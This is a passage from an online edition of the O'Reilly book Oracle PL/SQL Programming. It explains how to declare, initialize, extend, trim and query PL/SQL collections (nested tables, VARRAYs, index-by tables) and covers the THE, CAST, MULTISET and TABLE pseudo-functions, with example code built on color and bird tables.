The type of the collection's elements. All elements are of a single type, which can be most scalar datatypes, an object type, or a REF object type. If the elements are objects, the object type itself cannot have an attribute that is a collection. In PL/SQL, if you are creating a collection with RECORD elements, its fields can be only scalars or objects. Explicitly disallowed collection datatypes are BOOLEAN, NCHAR, NCLOB, NVARCHAR2, REF CURSOR, TABLE, and VARRAY.

NOT NULL

Indicates that a variable of this type cannot have any null elements. However, the collection can be atomically null (uninitialized).

max elements

Maximum number of elements allowed in the VARRAY. Once declared, this cannot be altered.

FORCE

Tells Oracle to drop the type even if there is a reference to it in another type. For example, if an object type definition uses a particular collection type, you can still drop the collection type using the FORCE keyword. Note that if you have a table that uses a particular type definition, you must actually drop the table before dropping the type; you cannot FORCE the drop.

Note that the only syntactic difference between declaring nested table types and index-by table types in a PL/SQL program is the absence of the INDEX BY BINARY_INTEGER clause.

The syntactic differences between nested table and VARRAY type declarations are:

  • The use of the keyword VARRAY

  • The limit on its number of elements

Previous: 19.2 Creating the New Collections | Oracle PL/SQL Programming, 2nd Edition | Next: 19.4 Using Collections
19.2 Creating the New Collections | Book Index | 19.4 Using Collections
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.4 Using Collections

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

19.4 Using Collections

There are three main programming tasks you must understand when you are working with collections in PL/SQL:

  • How to properly initialize the collection variable

  • How to assign values to elements without raising exceptions

  • How to add and remove "slots" for elements

In addition, to fully exploit the programming utility of collections, you will want to learn how to retrieve and store sets of data with them. This leads into our section on pseudo-functions, which allow you to perform magic tricks with collections. (Okay, maybe it's not real magic, but you're almost guaranteed to say "How did they do that?" the first time you try to program this stuff and find yourself bewildered.)

19.4.1 Initializing Collection Variables

With an index-by table datatype, initialization is a non-issue. Simply declaring an index-by table variable also initializes it, in an "empty" state. Then you can just assign values to subscripted table elements as you desire. Index values (subscripts) can be almost any positive or negative integer. A program can even assign subscripts to index-by tables arbitrarily, skipping huge ranges of subscripts without paying a memory or performance penalty.[2]

[2] This sparseness makes it possible to use an index-by table as an in-memory representation of almost any database table which uses an integer primary key. (See Chapter 10 for a discussion of this eminently useful technique.)

The allocation scheme for nested tables and VARRAYs is different from that of index-by tables. First off, if you don't initialize one of these collections, it will be "atomically null," and any attempt to read or write an element of an atomically null collection will generate a runtime error. For example:

DECLARE
   /* The variable cool_colors is not initialized in its
   || declaration; it is "atomically null."
   */
   cool_colors Color_tab_t;
BEGIN
   IF cool_colors IS NULL THEN         -- valid; will be TRUE
      ...
   IF cool_colors(1) IS NULL THEN      -- invalid
      ...
   cool_colors(1) := 'BLUE';           -- invalid

You must initialize the collection before using it. There are three ways you can initialize a collection:

  • Explicitly, using a constructor

  • Implicitly, via a fetch from the database

  • Implicitly, via a direct assignment of another collection variable

There is no requirement that you initialize any particular number of elements in a collection. Zero, one, or more are fine, and you can always add more values later. In particular, don't be confused by VARRAYs. Just because you specify a limit on the number of elements it can hold does not imply that you have to put that many elements in when you initialize it.

19.4.1.1 Initializing with a constructor

Earlier, we saw declarations that looked like this:

my_favorite_colors Color_tab_t := Color_tab_t('PURPLE', 'GREEN');
my_favorite_numbers Number_t := Number_t(42, 65536);

Color_tab_t( ) is the constructor function supplied by Oracle when we created the Color_tab_t collection type. This function accepts an arbitrary number of arguments, as long as each argument is of the "proper" datatype -- which in this case is VARCHAR2(30), since our original type definition statement was the following:

CREATE TYPE Color_tab_t AS TABLE OF VARCHAR2(30);

At initialization, Oracle allocates to the variable an amount of memory necessary to hold the values you supply as arguments. Initialization both creates the "slots" for the elements and populates them.

So, if I want to "fix" the earlier invalid example, I can simply initialize the variable:

DECLARE
   cool_colors Color_tab_t := Color_tab_t('VIOLET');  -- initialize
BEGIN
   IF cool_colors(1) IS NULL THEN   -- This is OK now!

What do you suppose Oracle does with the following initialization?

   working_colors Color_tab_t := Color_tab_t();

This is a way of creating an "empty" collection. Empty is a sort of enigmatic state in which the collection is not atomically null but still has no data. Whenever you create such an empty collection, you'll need to "extend" the collection variable later when you want to put elements into it. (The EXTEND built-in is explored later in this chapter.)

19.4.1.2 Initializing implicitly during direct assignment

You can copy the entire contents of one collection to another as long as both are built from the exact same datatype. When you do so, initialization comes along "for free."

Here's an example illustrating implicit initialization that occurs when we assign wedding_colors to be the value of earth_colors.

DECLARE
   earth_colors Color_tab_t := Color_tab_t('BRICK', 'RUST', 'DIRT');
   wedding_colors Color_tab_t;
BEGIN
   wedding_colors := earth_colors;
   wedding_colors(3) := 'CANVAS';
END;

This code initializes wedding_colors and creates three elements that match those in earth_colors. These are independent variables rather than pointers to identical values; changing the third element of wedding_colors to 'CANVAS' does not have any effect on the third element of earth_colors.

Note that assignment is not possible when datatypes are merely "type-compatible." Even if you have created two different types with the exact same definition, the fact that they have different names makes them different types. A collection variable cannot be assigned to another variable of a different datatype:

DECLARE
   TYPE Local_colors_t IS VARRAY(16) OF VARCHAR2(30);
   TYPE Remote_colors_t IS VARRAY(16) OF VARCHAR2(30);
   l_color Local_colors_t := Local_colors_t('THALO BLUE');
   r_color Remote_colors_t;
BEGIN
   r_color := l_color;  -- invalid
END;

This code will fail with the compile-time error "PLS-00382: expression is of wrong type," because r_color and l_color are of different types.

19.4.1.3 Initializing implicitly via fetch

If you use a collection as a type in a database table, Oracle provides some very elegant ways of moving the collection between PL/SQL and the table. As with direct assignment, when you use FETCH or SELECT INTO to retrieve a collection and drop it into a collection variable, you get automatic initialization of the variable. Collections can turn out to be incredibly useful!

Although we mentioned this briefly in an earlier example, let's take a closer look at how you can read an entire collection in a single fetch. First, we want to create a table containing a collection and populate it with a couple of values:

CREATE TABLE color_models (
   model_type VARCHAR2(12),
   colors Color_tab_t)
NESTED TABLE colors STORE AS color_model_colors_tab;

insert into color_models
   values ('RGB', Color_tab_t('RED','GREEN','BLUE'));
insert into color_models
   values ('CYMK',Color_tab_t('CYAN','YELLOW','MAGENTA','BLACK'));

Now we can show off the neat integration features. With one trip to the database we can retrieve all of the values of the "colors" column for a given row, and deposit them into a local variable:

DECLARE
   l_colors Color_tab_t;
BEGIN
   /* Retrieve all the nested values in a single fetch.
   || This is the cool part.
   */
   SELECT colors INTO l_colors FROM color_models
      WHERE model_type = 'RGB';

   /* Loop through each value and print it. This is only to demonstrate
   || that we really have the data in the local variable.
   */
   FOR element IN 1..l_colors.COUNT
   LOOP
      dbms_output.put_line (element || ' ' || l_colors(element));
   END LOOP;
END;

With SERVEROUTPUT turned on, SQL*Plus prints the following when this code fragment executes:

1 RED
2 GREEN
3 BLUE

Pretty neat, huh? A few important points to notice:

  • Oracle, not the programmer, assigns the subscripts of l_colors when fetched from the database.

  • Oracle's assigned subscripts begin with 1 (as opposed to 0, as you may be used to in some other languages) and increment by 1.

  • Fetching satisfies the requirement to initialize the local collection variable before assigning values to elements. We didn't initialize l_colors with a constructor, but PL/SQL knew how to deal with it.

You can also make changes to the contents of the nested table and just as easily move the data back into a database table. Just to be mischievous, let's create a Fuschia-Green-Blue color model:

DECLARE
   color_tab Color_tab_t;
BEGIN
   SELECT colors INTO color_tab FROM color_models
      WHERE model_type = 'RGB';
   FOR element IN 1..color_tab.COUNT
   LOOP
      IF color_tab(element) = 'RED'
      THEN
         color_tab(element) := 'FUSCHIA';
      END IF;
   END LOOP;
   /* Here is the cool part of this example. Only one insert
   || statement is needed -- it sends the entire nested table
   || back into the color_models table in the database.
   */
   INSERT INTO color_models VALUES ('FGB', color_tab);

END;

19.4.1.4 VARRAY integration

Does this database-to-PL/SQL integration work for VARRAYs too? You bet, although there are a couple of differences.

First of all, realize that when you store and retrieve the contents of a nested table in the database, Oracle makes no promises about preserving the order of the elements. This makes sense, because the server is just putting the nested data into a store table behind the scenes, and we all know that relational databases don't give two hoots about row order. By contrast, storing and retrieving the contents of a VARRAY does preserve the order of the elements.

Preserving the order of VARRAY elements is actually a fairly useful capability. It makes possible something you cannot do in a pure relational database: embedding meaning in the order of the data. For example, if you want to store someone's favorite colors in rank order, you can do it with a single VARRAY column. Every time you retrieve the column collection, its elements will be in the same order as when you last stored it. By contrast, abiding by a pure relational model, you would need two columns, one for an integer corresponding to the rank, and one for the color.

Thinking about this order-preservation of VARRAYs brings to mind some interesting utility functions. For example, you could fairly easily code a tool that would allow the insertion of a new "favorite" at the low end of the list by "shifting up" all the other elements.

A second difference between integration of nested tables and integration of VARRAYs with the database is that some SELECT statements you could use to fetch the contents of a nested table will have to be modified if you want to fetch a VARRAY. (See Section 19.5 later for some examples.)

19.4.2 Assigning Values to Elements: Index (Subscript) Considerations

In contrast to index-by tables, you can't assign values to arbitrarily numbered subscripts of nested tables and VARRAYs; instead, the indexes, at least initially, are monotonically increasing integers, assigned by the PL/SQL engine. That is, if you initialize n elements, they will have subscripts 1 through n. And, as implied above, you cannot rely on the assignment of particular subscripts to particular element values in nested tables. Yes, any element can be null, but null is different from nonexistent (sparse).

Nested tables are initially dense, with no skipped subscripts. Once a nested table exists, however, it is possible to remove any element from it, even one in the "middle." This will result in a sparse array.

VARRAYs, on the other hand, are always dense. Elements of VARRAYs can only be removed from the "end" of the array, so VARRAYs cannot be coerced into being sparse.

However, if what you want is a sparse array in PL/SQL, you would be much better off using an index-by table. The real strength of nested tables and VARRAYs is their ability to move gracefully in and out of the database.

19.4.3 Adding and Removing Elements

With an old-style index-by table, Oracle automatically allocates memory for new elements. When you want to add an element, you simply pick a value for the subscript and assign a value to that element. To remove an element, you could use the DELETE method. To illustrate:

DECLARE
   TYPE color_tab_type IS TABLE OF VARCHAR2(30)
      INDEX BY BINARY_INTEGER;
   color_tab color_tab_type;
BEGIN
   color_tab(3845) := 'SEAFOAM GREEN';
   color_tab(702) := 'CERULEAN BLUE';
   color_tab.DELETE(3845);
END;

What would happen if you tried this assignment with a nested table? Aha, you say, knowing that subscripts start with 1 and are monotonically increasing, I'll just try:

DECLARE
   /* colors starts life initialized by empty */
   colors Color_tab_t := Color_tab_t();
BEGIN
   colors(1) = 'SEAFOAM GREEN'; -- invalid

But this code produces an "ORA-06533, Subscript beyond count" error. This is why you need EXTEND.

19.4.3.1 Adding elements using EXTEND

Adding an element to a collection requires a separate allocation step. Making a "slot" in memory for a collection element is independent from assigning a value to it. If you haven't initialized the collection with a sufficient number of elements (null or otherwise), you must first use the EXTEND procedure on the variable. (For the formal syntax and usage of this procedure, refer to Section 19.6, "Collection Built-Ins".)

DECLARE
   /* The colors variable begins life initialized but with
   || no elements allocated
   */
   colors Color_tab_t := Color_tab_t();
BEGIN
   colors.EXTEND;  -- allocate space for a single element
   colors(1) := 'GRANITE';  -- this works
   colors(2) := 'HUNTER GREEN';  -- invalid; we only extended by 1
END;

19.4.3.2 Removing elements using DELETE

When you DELETE an element, PL/SQL removes that element from the collection. Interestingly, it doesn't actually remove all traces of the element; in fact, a placeholder gets left behind. That means you can reassign the element later without having to re-allocate the space.

DELETE has three different forms depending on how much you want to remove: one, several (contiguous), or all of the elements. Section 19.6 describes all the forms of this procedure.

In physical terms, PL/SQL actually releases the memory only when your program deletes a sufficient number of elements to free an entire page of memory (unless you DELETE all of the elements, which frees all of the memory immediately). This de-allocation happens automatically and requires no accommodations or devices in your code.

19.4.3.3 ...And what about TRIM?

TRIM is another built-in which lets you remove elements from a collection; it's equally applicable to nested tables and VARRAYs. (Again, refer to Section 19.6 for details.) As its name implies, TRIM drops elements off the end of a collection. Unlike DELETE, TRIM leaves no placeholder behind when it does its work.

Although my programming exercise above didn't need TRIM, this built-in, combined with EXTEND, can be very useful if you want to program a "stack" abstraction. In general, the syntax is simply the following:

collection_name.TRIM(n);

where n is the number of elements to remove. If you don't supply n, it defaults to 1.

Unfortunately, if you use TRIM and DELETE on the same collection, you can get some very surprising results. Consider this scenario: if you DELETE an element at the end of a nested table variable and then do a TRIM on the same variable, how many elements have you removed? You would think that you have removed two elements, but, in fact, you have removed only one. The placeholder that is left by DELETE is what TRIM acts upon.

TIP: To avoid confusion, Oracle Corporation recommends using either DELETE or TRIM, but not both, on a given collection.

19.4.4 Comparing Collections

Unfortunately, there is no built-in capability to compare collections and determine whether one is "equal to" or "greater than" the other. Attempts to do so will produce compile-time errors. The only comparison that is legal for collections is a test for nullness, as we saw previously:

DECLARE
   cool_colors Color_tab_t;
BEGIN
   IF cool_colors IS NULL THEN         -- valid; will be TRUE

If comparing collections is important to your application, you could put an object "container" around the collection, and use objects instead of collections as the structure that your applications manipulate. Doing so allows you to define your own object comparison semantics. Although Chapter 18 provides a detailed discussion of defining your own object comparisons using the MAP and ORDER methods, we'll divert momentarily to illustrate how this technique will help us compare collections.

Without repeating a lot of descriptive detail that you'll find in Chapter 18, your object type specification might look quite simple:

CREATE TYPE Color_object_t AS OBJECT (
   crayons Color_array_t,
   ORDER MEMBER FUNCTION compare(c_obj Color_object_t) RETURN INTEGER);

This creates an object with a single attribute, crayons, and a special method that Oracle will use when it needs to compare instances of type Color_object_t.

The object type body could be implemented as follows:

CREATE TYPE BODY Color_object_t AS
   ORDER MEMBER FUNCTION compare(c_obj Color_object_t) RETURN INTEGER
      IS
   BEGIN
      /* If one object has more elements than the other, it is
      || by our convention defined to be "greater" than the other.
      */
      IF nvl(SELF.crayons.COUNT,0) > nvl(c_obj.crayons.COUNT,0)
      THEN
         RETURN 1;
      ELSIF nvl(SELF.crayons.COUNT,0) < nvl(c_obj.crayons.COUNT,0)
      THEN
         RETURN -1;
      ELSE
         /* Otherwise we compare the individual elements.
         || If the two arrays have the same number of elements,
         || we'll call them "equal."
         */
         RETURN 0;
      END IF;
   END compare;
END;

In PL/SQL, you can now compare objects of type Color_object_t to your heart's content, achieving a kind of de facto collection comparison:

DECLARE
   color_object_1 Color_object_t
      := Color_object_t(Color_array_t('BLUE','GREEN','RED'));
   color_object_2 Color_object_t := color_object_1;
BEGIN
   ...
   IF color_object_1 = color_object_2 THEN
      ...
END;

And if you needed this structure as a column in a table, it could go something like this:

CREATE TABLE kids_coloring_kits (
   NAME VARCHAR2(30),
   crayon_colors Color_object_t
);

Once the table is populated, you can then use SQL sorting features such as ORDER BY, GROUP BY, and DISTINCT on the crayon_colors column, since your ORDER member function tells Oracle how to compare values in the column.

Previous: 19.3 Syntax for Declaring Collection Datatypes | Oracle PL/SQL Programming, 2nd Edition | Next: 19.5 Collection Pseudo-Functions
19.3 Syntax for Declaring Collection Datatypes | Book Index | 19.5 Collection Pseudo-Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.5 Collection Pseudo-Functions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

19.5 Collection Pseudo-Functions

I've been working with Oracle's SQL for more than ten years and PL/SQL for more than five. My brain has rarely turned as many cartwheels over SQL's semantics as it has recently, when contemplating the "collection pseudo-functions" introduced in Oracle8.

These collection pseudo-functions exist to coerce database tables into acting like collections, and vice versa. Because there are some manipulations that work best when data are in one form versus the other, these functions give application programmers access to a rich and interesting set of structures and operations.

Note that these operators are not available in PL/SQL proper, but only in SQL. You can, however, employ these operators in SQL statements which appear in your PL/SQL code, and it is extremely useful to understand how and when to do so. We'll get to some examples shortly.

The four collection pseudo-functions are as follows:

THE

Maps a single column value in a single row into a virtual database table. This pseudo-function allows you to manipulate the elements of a persistent collection.

CAST

Maps a collection of one type to a collection of another type. This can encompass mapping a VARRAY into a nested table.

MULTISET

Maps a database table to a collection. With MULTISET and CAST, you can actually retrieve rows from a database table as a collection-typed column.

TABLE

Maps a collection to a database table. This is the inverse of MULTISET.

Oracle has introduced these pseudo-functions in order to manipulate collections that live in the database. They are important to our PL/SQL programs for several reasons, not the least of which is that they provide an incredibly efficient way to move data between the database and the application.

Yes, these pseudo-functions can be puzzling; but if you're the kind of person who gets truly excited by arcane code, these Oracle8 SQL extensions will make you jumping-up-and-down silly.

19.5.1 The THE Pseudo-function

If you have a column that's a nested table, and you want to insert, update, or delete from the contents of this column, you cannot do so with any SQL statement that is familiar to you from Oracle7. Instead, you will need to use the strangely named keyword THE, which helps tell Oracle which row from the outer table you want to deal with.

Earlier, we created the color_models table:

CREATE TABLE color_models (
   model_type VARCHAR2(12),
   colors Color_tab_t)
NESTED TABLE colors STORE AS color_model_colors_tab;

We had inserted a row with model_type ='RGB' and a colors column containing ('RED', 'GREEN', 'BLUE'). Imagine now that we've populated color_models with a half dozen or so records.

One question that might have come into your mind is: how can we retrieve all of the colors for a single model using a SELECT statement?

SELECT VALUE(c) FROM
   THE(SELECT colors FROM color_models
        WHERE model_type = 'RGB') c;

OK, you can exhale now. The meaning of this statement is "retrieve the individual elements of RGB color model." Or, more literally, "retrieve the value of each element of the colors nested table within the color_models outer table." Sure enough, it displays the following:[3]

[3] As of Oracle 8.0.4.

VALUE(C)
------------------------------
RED
GREEN
BLUE

I guess it's really not that weird; we're just substituting a subquery for a table in the FROM clause.

Why does the language use the keyword name THE instead of, say, OUTER? Oracle's documentation says "THE (select expression) identifies the nested table on which the DML operation is to be performed." I guess somebody at Oracle has a sense of humor!

Another way you could have expressed the previous query is to use the predefined alias COLUMN_VALUE:

SELECT COLUMN_VALUE FROM
   THE(SELECT colors FROM color_models
        WHERE model_type = 'RGB');

COLUMN_VALUE is a way of referring to elements of a nested table of scalars. It is a syntactic shortcut to achieve the same result as the previous example.

The general structure of a SELECT statement with THE is shown here:

SELECT <expression list>
FROM THE(SELECT <outer column name>
           FROM <outer table>          -- which outer table row?
          WHERE <condition on outer table>)
WHERE <condition on inner table>;

Where:

expression list

Is COLUMN_VALUE or a SELECT-list, depending on whether the retrieved collection is a scalar or a composite. If it's a composite (such as an object), then the Select-list can include any of the object type's attributes.

outer column name

Refers to the name you've given the outer table column, which is a collection type.

The WHERE condition on the outer table must retrieve zero or one row(s); otherwise, you'll get the message "ORA-01427: single-row subquery returns more than one row."

You can also use a THE subquery as the target of an INSERT, UPDATE, and DELETE statements. Some brief examples:

-- change BLUE to BURGUNDY inside the collection
UPDATE THE(SELECT colors
                  FROM color_models
                 WHERE model_type = 'RGB')
   SET COLUMN_VALUE = 'BURGUNDY'
 WHERE COLUMN_VALUE = 'BLUE';

-- add a silly extra color
INSERT INTO THE(SELECT colors
                  FROM color_models
                 WHERE model_type = 'RGB')
VALUES ('EXTRA-COLOR');

-- show the current colors
SELECT COLUMN_VALUE FROM THE(SELECT colors
                               FROM color_models
                              WHERE model_type = 'RGB');

COLUMN_VALUE
-------------------
RED
GREEN
BURGUNDY
EXTRA-COLOR

-- delete the extra color
DELETE THE(SELECT colors
             FROM color_models
            WHERE model_type = 'RGB')
WHERE COLUMN_VALUE = 'EXTRA-COLOR';

The Oracle8 Server Application Developers Guide is a good source of more sample DML on collections.

19.5.2 The CAST Pseudo-function

The new THE pseudo-function does not work directly on VARRAYs. However, it is possible to use Oracle8's CAST function on a VARRAY so we can emulate the SELECT statement shown in the previous section.

19.5.2.1 Casting a named collection

Here is an example of casting a named collection. If we have created the color_models table based on a VARRAY type as follows:

CREATE TYPE Color_array_t AS VARRAY(16) OF VARCHAR2(30);

CREATE TABLE color_models_a (
   model_type VARCHAR2(12),
   colors Color_array_t);

we can CAST the VARRAY colors column as a nested table and apply the THE pseudo-function to the result:

SELECT COLUMN_VALUE FROM
   THE(SELECT CAST(colors AS Color_tab_t)
         FROM color_models_a
        WHERE model_type = 'FGB');

CAST performs an on-the-fly conversion of the Color_array_t collection type to the Color_tab_t collection type.

NOTE: CAST is available only within SQL statements. That means you can't use it directly within PL/SQL. However, it is useful in SELECTs and DML statements that appear in your PL/SQL programs.

A subtle difference exists between what you can accomplish with CAST and what you can accomplish with THE. As we saw in the previous section, THE can serve on either the "left-hand side" or the "right-hand side" of an INSERT, UPDATE, or DELETE statement. THE subqueries can be part of the source, or the target, of these DML statements. By contrast, CAST only works in SELECTs or on the right-hand side of DML statements.

19.5.2.2 Casting an "unnamed collection"

It is also possible to cast a "bunch of records" -- such as the result of a subquery -- as a particular collection type. Doing so requires the MULTISET function, covered in the next section.

19.5.3 The MULTISET Pseudo-function

This new Oracle8 function exists only for use within CASTs. MULTISET allows you to retrieve a set of data and convert it on-the-fly to a collection type. The simplest example is this:

SELECT CAST (MULTISET (SELECT field FROM table) AS collection-type)
   FROM DUAL;

So if we happened to have a relational table of colors:

CREATE TABLE some_colors (
   color_name VARCHAR2(30),
   color_classification VARCHAR2(30));

and we wanted to CAST to a collection so we could fetch a set of them at once, we could do this:

DECLARE
   some_hot_colors Color_tab_t;
BEGIN
   SELECT CAST(MULTISET(SELECT color_name
                          FROM some_colors
                         WHERE color_classification = 'HOT')
            AS Color_tab_t)
     INTO some_hot_colors
     FROM DUAL;
END;

Another way to use MULTISET involves a correlated subquery in the SELECT list:

SELECT outerfield,
  CAST(MULTISET(SELECT field FROM whateverTable
                 WHERE correlationCriteria)
    AS collectionTypeName)
  FROM outerTable;

This technique is useful for making joins look as if they include a collection. Going back to our birds example, suppose that we had a detail table that listed, for each bird, the countries where that species lives:

CREATE TABLE birds (
   genus VARCHAR2(128),
   species VARCHAR2(128),
   colors Color_array_t,
   PRIMARY KEY (genus, species)
);

CREATE TABLE bird_habitats (
   genus VARCHAR2(128),
   species VARCHAR2(128),
   country VARCHAR2(60),
   FOREIGN KEY (genus, species) REFERENCES birds (genus, species)
);

CREATE TYPE Country_tab_t AS TABLE OF VARCHAR2(60);

We should then be able to "smush" the master and detail tables together in a single SELECT that converts the detail records into a collection type. This feature has enormous significance for client/server programs, since the number of round trips can be cut down without the overhead of duplicating the master records with each and every detail record:

DECLARE
   CURSOR bird_curs IS
      SELECT b.genus, b.species,
         CAST(MULTISET(SELECT bh.country FROM bird_habitats bh
                        WHERE bh.genus = b.genus
                          AND bh.species = b.species)
           AS country_tab_t)
        FROM birds b;
   bird_row bird_curs%ROWTYPE;
BEGIN
   OPEN bird_curs;
   FETCH bird_curs into bird_row;
   CLOSE bird_curs;
END;

NOTE: In Oracle 8.0.3 this code produces the error "PLS-00201: identifier 'B.GENUS' must be declared." It works properly in 8.0.4. See Oracle's SQL Reference Guide for more information and examples. As with the CAST pseudo-function, MULTISET cannot serve as the target of an INSERT, UPDATE, or DELETE statement.

The workaround for this bug is to create a packaged function which will return the desired data expressed in the form of a collection. Then you can use this function, rather than the correlated subquery, in the SELECT statement. Here is the package specification that we need:

CREATE PACKAGE fixbug AS
    FUNCTION get_country_tab (p_genus IN VARCHAR2,
      p_species IN VARCHAR2)
      RETURN Country_tab_t;

   PRAGMA RESTRICT_REFERENCES (get_country_tab, WNDS, RNPS, WNPS);
END;

And the body:

CREATE PACKAGE BODY fixbug AS
   FUNCTION get_country_tab (p_genus IN VARCHAR2,p_species IN VARCHAR2)
     RETURN Country_tab_t
   IS
      l_country_tab Country_tab_t;
      CURSOR ccur IS
         SELECT CAST(MULTISET(SELECT bh.country FROM bird_habitats bh
                               WHERE bh.species = p_species
                                 AND bh.genus = p_genus)
              AS country_tab_t)
        FROM DUAL;

   BEGIN
      OPEN ccur;
      FETCH ccur INTO l_country_tab;
      CLOSE ccur;
      RETURN l_country_tab;

   END;
END;

Note that the CAST above uses a selection from DUAL to substitute for the correlated subquery.

We can now rewrite our original PL/SQL fragment as follows:

DECLARE
   CURSOR bird_curs IS
      SELECT b.genus, b.species,
        fixbug.get_country_tab(b.genus, b.species)
        FROM birds b;
   bird_row bird_curs%ROWTYPE;
BEGIN
   OPEN bird_curs;
   FETCH bird_curs into bird_row;
   CLOSE bird_curs;
END;

19.5.4 The TABLE Pseudo-function

Just what you were hoping for, another use of the TABLE keyword! In this case, TABLE is operating as a function that coerces a collection-valued column into something you can SELECT from. It sounds complicated, but this section presents an example that's not too hard to follow.

Looking at it another way, let's say that you have a database table with a column of a collection type. How can you figure out which rows in the table contain a collection that meets certain criteria? That is, how can you select from the database table, putting a WHERE clause on the collection's contents?

Wouldn't it be nice if you could just say:

SELECT *
  FROM table_name
 WHERE collection_column
       HAS CONTENTS 'whatever';   -- invalid; imaginary syntax!

Logically, that's exactly what you can do with the TABLE function. Going back to our color_models database table, how could we get a listing of all color models which contain the color RED? Here's the real way to do it:

SELECT *
  FROM color_models c
 WHERE 'RED' IN
       (SELECT * FROM TABLE(c.colors));

which, in SQL*Plus, returns

MODEL_TYPE   COLORS
------------ ------------------------------------------------------
RGB          COLOR_TAB_T('RED', 'GREEN', 'BLUE')

The query means "go through the color_models table and return all rows whose list of colors contains at least one RED element." Had there been more rows with a RED element in their colors column, these rows too would have appeared in our SQL*Plus result set.

As illustrated above, TABLE accepts an alias-qualified collection column as its argument:

TABLE(alias_name.collection_name)

TABLE returns the contents of this collection coerced into a virtual database table. Hence, you can SELECT from it; in our example, it's used in a subquery.

Does the TABLE function remind you vaguely of the THE pseudo-function? Recall our THE example:

SELECT VALUE(c) FROM
   THE(SELECT colors FROM color_models
        WHERE model_type = 'RGB') c;

which (in Oracle 8.0.4 and later) returns:

VALUE(C)
------------------------------
RED
GREEN
BLUE

So what is the difference between the pseudo-functions THE and TABLE? Both return something that, for purposes of the rest of the SQL statement, serves as a "virtual database table." So the difference between the functions must lie in that on which they operate -- their "inputs." The TABLE function operates on a (column-typed) nested table. By contrast, the pseudo-function THE operates on a SELECT statement's result set that contains exactly one row with one column which is a (column-typed) nested table.

As it turns out, the TABLE function gets called "under the covers" whenever you use THE as the target of an INSERT, UPDATE, or DELETE statement. This under-the-covers call coerces the results of the subquery into a virtual database table upon which the DML makes sense to operate.

TIP: To repeat an earlier admonition, none of the collection pseudo-functions are available from within PL/SQL, but PL/SQL programmers will certainly want to know how to use these gizmos in their SQL statements!

Personally, I find these new features fascinating, and I enjoy the mental calisthenics required to understand and use them. Maybe mine isn't a universal sentiment, but at least you can admit that Oracle hasn't let their language technology get tired!

Previous: 19.4 Using Collections | Oracle PL/SQL Programming, 2nd Edition | Next: 19.6 Collection Built-Ins
19.4 Using Collections | Book Index | 19.6 Collection Built-Ins
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.6 Collection Built-Ins

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

19.6 Collection Built-Ins

As we've seen already, there are a number of built-in functions and procedures that apply to collection variables. These functions are collectively known as "collection methods" in honor of their object-like invocation syntax. That is, you invoke them using a "variable-dot-method " style. For functions, use this syntax:

result := collection_variable.function_method (method_argument);

where "result" must be of a datatype that is type-compatible with the method. For procedures, the syntax is:

collection_variable.procedure_method (method_arguments);

The following methods are not available from within SQL; they can only be used within PL/SQL programs. The first seven are functions (and are the same methods available for PL/SQL or index-by tables in PL/SQL Release 2.3), and the last three are procedures. For quick reference purposes, this section documents each method using a standard format, which includes an example.

COUNT function

Returns the current number of elements in a collection.

DELETE procedure

Removes one or more elements from the "middle" of a nested table. Reduces COUNT if the element is not already DELETEd. Does not apply to VARRAYs.

EXISTS function

Returns TRUE or FALSE to indicate whether the specified element exists.

EXTEND procedure

Increases the number of elements in a collection. Increases COUNT.

FIRST, LAST functions

Return the smallest (FIRST) and largest (LAST) subscripts in use.

LIMIT function

Returns the maximum number of allowed elements in a VARRAY.

PRIOR, NEXT functions

Return the subscript immediately before (PRIOR) or after (NEXT) a specified subscript. Useful for nested tables that might be sparse.

TRIM procedure

Removes collection elements at the "end" of the collection. Reduces COUNT if elements are not DELETEd.

19.6.1 COUNT

Specification
FUNCTION COUNT RETURN BINARY_INTEGER;
Example
FOR element IN 1..my_list.COUNT
LOOP
   DBMS_OUTPUT.PUT_LINE (my_list(element));
END LOOP;
/* Note: If my_list is a nested table with any deleted elements
|| in the middle, the my_list(element) reference above will
|| generate a NO_DATA_FOUND exception.
*/
Returns

Current number of elements in a collection. If elements have been DELETEd or TRIMmed from the collection, they are not included in COUNT.

Applies to

Nested tables, index-by tables, VARRAYs.

Boundary considerations

If applied to an initialized collection with no elements, returns zero. Also returns zero if applied to empty index-by table.

Exceptions possible

If applied to an uninitialized nested table or a VARRAY, raises COLLECTION_IS_NULL predefined exception. (This exception is not possible for index-by tables, which do not require initialization.)

19.6.2 DELETE [ ( i [ , j ] ) ]

Specification (overloaded)
PROCEDURE DELETE;
PROCEDURE DELETE (i BINARY_INTEGER);
PROCEDURE DELETE (i BINARY_INTEGER, j BINARY_INTEGER);
Example
CREATE PROCEDURE keep_last (the_list IN OUT List_t)
AS
   first_elt BINARY_INTEGER := the_list.FIRST;
   next_to_last_elt BINARY_INTEGER := the_list.PRIOR(the_list.LAST);
BEGIN
   the_list.DELETE(first_elt, next_to_last_elt);
END;
Action

DELETE without arguments removes all the elements of a collection. DELETE(i) removes the ith element from the nested table or index-by table. DELETE(i,j) removes all elements in an inclusive range beginning with i and ending with j. When you use parameters, DELETE actually keeps a placeholder for the "removed" element, and you can later reassign a value to that element.

WARNING: Confusing behavior results if you TRIM and DELETE the same collection.

Applies to

Nested tables, index-by tables. Also, DELETE without arguments can be applied to VARRAYs.

Boundary considerations

